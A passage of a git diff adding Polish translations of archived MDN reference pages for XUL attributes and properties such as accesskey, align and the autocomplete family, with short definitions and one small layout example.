href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table> <div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div> <div id="p-scrollBoxObject"></div> <div id="p-scrollIncrement">
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/scrollIncrement">scrollIncrement</a></span></code></dt>
+ <dd>Typ:<em>integer</em></dd>
+ <dd>Własność tylko do odczytu, która chce odebrać liczbę pikseli <strong>which scrolling will occur when the <code><a href="/pl/docs/Mozilla/Tech/XUL/arrowscrollbox" title="arrowscrollbox">arrowscrollbox</a></code> is clicked.</strong></dd>
+</dl></div> <div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div><p></p>
+
+<h3 id="Metody" name="Metody">Metody</h3>
+
+<p></p><dl><dt> <span id="m-ensureElementIsVisible"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/ensureElementIsVisible">ensureElementIsVisible( element )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Jeśli określony element nie jest aktualnie widziany przez użytkownika, to wyświetlane pozycje są przewijane, do momentu, aż będzie on widoczny. Jeśli pozycja jest już widoczna, przewijanie nie będzie miało miejsca.
+</dd></dl>
+<p><br>
+</p> <table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table><p></p>
+
+<h3 id="Podobne" name="Podobne">Podobne</h3>
+
+<p>TBD</p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/accessible/index.html b/files/pl/mozilla/tech/xul/atrybut/accessible/index.html
new file mode 100644
index 0000000000..c0e732a5bf
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/accessible/index.html
@@ -0,0 +1,17 @@
+---
+title: accessible
+slug: Mozilla/Tech/XUL/Atrybut/accessible
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/accessible
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-accessible"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accessible">accessible</a></code>
+</dt><dd> Typ: <i><a href="pl/NsIAccessible">nsIAccessible</a></i>
+</dd><dd> Zwraca obiekt dostępności dla elementu.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/accesskey/index.html b/files/pl/mozilla/tech/xul/atrybut/accesskey/index.html
new file mode 100644
index 0000000000..d799000bc6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/accesskey/index.html
@@ -0,0 +1,32 @@
+---
+title: accesskey
+slug: Mozilla/Tech/XUL/Atrybut/accesskey
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/accesskey
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></dt><div class="noinclude">
+<dd> Atrybut: <code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/checkbox" title="checkbox">checkbox</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/caption" title="caption">caption</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/description" title="description">description</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/label" title="label">label</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/listitem" title="listitem">listitem</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/tab" title="tab">tab</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/radio" title="radio">radio</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox (Firefox - automatyczne uzupełnianie)" title="textbox (Firefox - automatyczne uzupełnianie)">textbox (Firefox - automatyczne uzupełnianie)</a></code></dd></div>
+<dd> Typ: <i>znak</i>
+</dd><dd> Powinien być ustawiony na literę, która zostanie zastosowana jako klawisz dostępu. Litera ta powinna być jedną z liter, które są wyświetlane w etykiecie tekstowej (<code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>) dla elementu. <div class="noinclude">Litera ta będzie zazwyczaj podkreślona pomimo, że to zachowanie będzie poza używaną platformą systemową i poza określonym motywem. Kiedy użytkownik naciśnie ALT (lub podobny klawisz, który się różni w zależności od używanej platformy) wraz z klawiszem dostępu, element stanie się aktywny. <b>Pomimo że wielkość liter nie ma tu znaczenia, jeśli w etykiecie dostępne są małe i wielkie litery, podkreślona zostanie ta, której wielkość zgadza się z wielkością litery z tego atrybutu</b>.
+</div></dd></dl>
+<p><br>
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<div class="float-right"><img alt="grafika:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+ &lt;textbox id="myName"/&gt;
+ &lt;button label="Cancel" accesskey="n"/&gt;
+ &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>, atrybut <code id="a-acceltext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/acceltext">acceltext</a></code>
+</p> <p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/afterselected/index.html b/files/pl/mozilla/tech/xul/atrybut/afterselected/index.html
new file mode 100644
index 0000000000..b6af844ba1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/afterselected/index.html
@@ -0,0 +1,15 @@
+---
+title: afterselected
+slug: Mozilla/Tech/XUL/Atrybut/afterselected
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/afterselected
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-afterselected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/afterselected">afterselected</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jest ustawiony na <code>true</code>, jeśli karta tuż po aktualnie zaznaczonej karcie. Ustawienie to jest automatycznie ustawiane i nie powinno się go ustawiać ręcznie. Początkowo znalazło swoją użyteczność w zastosowaniu motywów, tak, że możemy ręcznie dostosować ustawienia zaznaczonej karty.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/align/index.html b/files/pl/mozilla/tech/xul/atrybut/align/index.html
new file mode 100644
index 0000000000..f296579a9f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/align/index.html
@@ -0,0 +1,33 @@
+---
+title: align
+slug: Mozilla/Tech/XUL/Atrybut/align
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/Attribute/align
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt><code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code></dt>
+ <dd>Typ:<em>jedna z wartości poniżej</em></dd>
+ <dd>Atrybut <code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code> określa jak elementy potomne pudełka są rozmieszczone kiedy rozmiar pudełka jest większy, niż wszystkie rozmiary razem dzieci elementu. Dla pudełek, które posiadają poziomą orientację, to określa jak jego dzieci będą rozmieszczone pionowo. Atrybut <code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code> jest podobny do rozmieszczenia, lecz jest stosowany do określenia pozycji w przeciwnych kierunkach. Możemy także określić wartość rozmieszczenia stosując własność stylu <a href="pl/CSS/-moz-box-align">-moz-box-align</a>.</dd>
+</dl>
+
+<ul>
+ <li><code>start</code>: Elementy potomne są rozmieszczone od początku lewego lub górnego brzegu pudełka. Jeśli pudełko jest większe, niż cały rozmiar dziecka, to dodatkowa przestrzeń jest umieszczona w prawej lub dolnej stronie.</li>
+ <li><code>center</code>: Extra space is split equally along each side of the child elements, resulting the children being placed in the center of the box.</li>
+ <li><code>end</code>: Child elements are placed on the right or bottom edge of the box. If the box is larger than the total size of the children, the extra space is placed on the left or top side.</li>
+ <li><code>baseline</code>: This value applies to horizontally oriented boxes only. It causes the child elements to be aligned so that their text labels are lined up.</li>
+ <li><code>stretch</code>: The child elements are stretched to fit the size of the box. For a horizontal box, the children are stretched to be the height of the box. For a vertical box, the children are stretched to be the width of the box. If the size of the box changes, the children stretch to fit. Use the <code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code> attribute to create elements that stretch in the opposite direction.</li>
+ <li><code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Elementy są rozmieszczone na ich lewych brzegach.</li>
+ <li><code>center</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Elementy są wyśrodkowane poziomo.</li>
+ <li><code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Elementy są rozmieszczone na ich prawych brzegach.</li>
+</ul>
+
+<div class="noinclude">
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>Atrybut <code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code></p>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/allownegativeassertions/index.html b/files/pl/mozilla/tech/xul/atrybut/allownegativeassertions/index.html
new file mode 100644
index 0000000000..aba6023f7d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/allownegativeassertions/index.html
@@ -0,0 +1,18 @@
+---
+title: allownegativeassertions
+slug: Mozilla/Tech/XUL/Atrybut/allownegativeassertions
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/allownegativeassertions
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jakikolwiek poprawny element, który posiada atrybut źródła danych. Kiedy wiele źródeł danych jest użytych, jedno może przesłaniać twierdzenie drugiego. Ten atrybut, jeśli jest prawdą, która jest domyślnym ustawieniem, pozwala danym źródłowym na negację wcześniejszego twierdzenia.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/alternatingbackground/index.html b/files/pl/mozilla/tech/xul/atrybut/alternatingbackground/index.html
new file mode 100644
index 0000000000..372dd04e0c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/alternatingbackground/index.html
@@ -0,0 +1,17 @@
+---
+title: alternatingbackground
+slug: Mozilla/Tech/XUL/Atrybut/alternatingbackground
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/alternatingbackground
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-alternatingbackground"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/alternatingbackground">alternatingbackground</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, tło wierszy w drzewach (<code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code>) będzie się zmieniać pomiędzy dwoma kolorami.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/alwaysopenpopup/index.html b/files/pl/mozilla/tech/xul/atrybut/alwaysopenpopup/index.html
new file mode 100644
index 0000000000..e647c0f33d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/alwaysopenpopup/index.html
@@ -0,0 +1,17 @@
+---
+title: alwaysopenpopup
+slug: Mozilla/Tech/XUL/Atrybut/alwaysopenpopup
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/alwaysopenpopup
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-alwaysopenpopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/alwaysopenpopup">alwaysopenpopup</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, auto kompletowanie wyskakującego okienka zostanie wyświetlone zdarzenie, kiedy tam nie będzie dopasowany. Jeśli <code>false</code>, domyślna wartością będzie ukrycie okienka wyskakujące.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/attribute/index.html b/files/pl/mozilla/tech/xul/atrybut/attribute/index.html
new file mode 100644
index 0000000000..a828f9abe6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/attribute/index.html
@@ -0,0 +1,17 @@
+---
+title: attribute
+slug: Mozilla/Tech/XUL/Atrybut/attribute
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/attribute
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-attribute"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/attribute">attribute</a></code>
+</dt><dd> Typ: <i>nazwa atrybutu</i>
+</dd><dd> Atrybut, który obserwuje obserwator. Kiedy wartość atrybutu zmieni się, zdarzenie rozgłaszacza jest wywoływane w obserwatorze. Zastosujemy wartość <code>*</code> do obserwacji wszystkich atrybutów rozgłaszaczy. Atrybuty <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>, <code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code> i <code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code> nie są obserwowane.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/autocheck/index.html b/files/pl/mozilla/tech/xul/atrybut/autocheck/index.html
new file mode 100644
index 0000000000..4bcf15e42c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/autocheck/index.html
@@ -0,0 +1,17 @@
+---
+title: autoCheck
+slug: Mozilla/Tech/XUL/Atrybut/autoCheck
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/autoCheck
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-autoCheck"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoCheck">autoCheck</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Gdy atrybut ten ma wartość <code>true</code> lub nie jest ustawiony, stan zaznaczenia przycisku będzie przełączany przy każdym jego naciśnięciu. Gdy wartość została ustawiona na <code>false</code>, stan zaznaczenia musi być dopasowany ręcznie.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/autocompleteenabled/index.html b/files/pl/mozilla/tech/xul/atrybut/autocompleteenabled/index.html
new file mode 100644
index 0000000000..1f89a03032
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/autocompleteenabled/index.html
@@ -0,0 +1,18 @@
+---
+title: autocompleteenabled
+slug: Mozilla/Tech/XUL/Atrybut/autocompleteenabled
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/autocompleteenabled
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-autocompleteenabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autocompleteenabled">autocompleteenabled</a></code>
+</dt><dd> <b><span class="highlightred">Tylko Firefox</span></b>
+</dd><dd> Typ: <i>boolean</i>
+</dd><dd> Wartość <code>true</code> włącza automatyczne uzupełnianie pól tekstowych.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/autocompletepopup/index.html b/files/pl/mozilla/tech/xul/atrybut/autocompletepopup/index.html
new file mode 100644
index 0000000000..7d0b968a49
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/autocompletepopup/index.html
@@ -0,0 +1,17 @@
+---
+title: autocompletepopup
+slug: Mozilla/Tech/XUL/Atrybut/autocompletepopup
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/autocompletepopup
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-autocompletepopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autocompletepopup">autocompletepopup</a></code>
+</dt><dd> Typ: <i>id elementu wyskakującego (popup)</i>
+</dd><dd> <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/popup" title="popup">popup</a></code> wykorzystywanego do przechowywania wyników automatycznego uzupełniania dla tego elementu.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/autocompletesearch/index.html b/files/pl/mozilla/tech/xul/atrybut/autocompletesearch/index.html
new file mode 100644
index 0000000000..25ff04b2c2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/autocompletesearch/index.html
@@ -0,0 +1,20 @@
+---
+title: autocompletesearch
+slug: Mozilla/Tech/XUL/Atrybut/autocompletesearch
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/autocompletesearch
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-autocompletesearch"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autocompletesearch">autocompletesearch</a></code>
+</dt><dd> Typ: <i>lista wartości oddzielonych spacją</i>
+</dd><dd> Lista szukanych nazw komponentów oddzielona spacją, który każdy implementuje interfejs <a href="pl/NsIAutoCompleteSearch">nsIAutoCompleteSearch</a>. Komponenty są tworzone za pomocą nazwy <code>@mozilla.org/autocomplete/search;1?name=</code>, gdzie: <var>name</var> jest listą w tym atrybucie.
+</dd></dl>
+<ul><li> <code>history</code>: Przeszukuje hostorię adresów URL przeglądarki,
+</li><li> <code>form-history</code>: Przeszukuje wartości, które użytkownik wpisał w pola formularza.
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/autocompletesearchparam/index.html b/files/pl/mozilla/tech/xul/atrybut/autocompletesearchparam/index.html
new file mode 100644
index 0000000000..2df918036b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/autocompletesearchparam/index.html
@@ -0,0 +1,18 @@
+---
+title: autocompletesearchparam
+slug: Mozilla/Tech/XUL/Atrybut/autocompletesearchparam
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/autocompletesearchparam
+---
+<div><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+
+<dl>
+ <dt>
+ <code id="a-autocompletesearchparam"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autocompletesearchparam">autocompletesearchparam</a></code> <span class="inlineIndicator standardNote">Nowość w <a href="https://developer.mozilla.org/pl/docs/Mozilla/Thunderbird/Releases/2">Thunderbird 2</a></span> <span class="inlineIndicator standardNote standardNoteInline">Requires SeaMonkey 1.1</span></dt>
+ <dd>
+ Typ: <i>string</i></dd>
+ <dd>
+ Łańcuch znaków, który jest komponentem poszukiwania.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/autofill/index.html b/files/pl/mozilla/tech/xul/atrybut/autofill/index.html
new file mode 100644
index 0000000000..82f122ec22
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/autofill/index.html
@@ -0,0 +1,18 @@
+---
+title: autoFill
+slug: Mozilla/Tech/XUL/Atrybut/autofill
+tags:
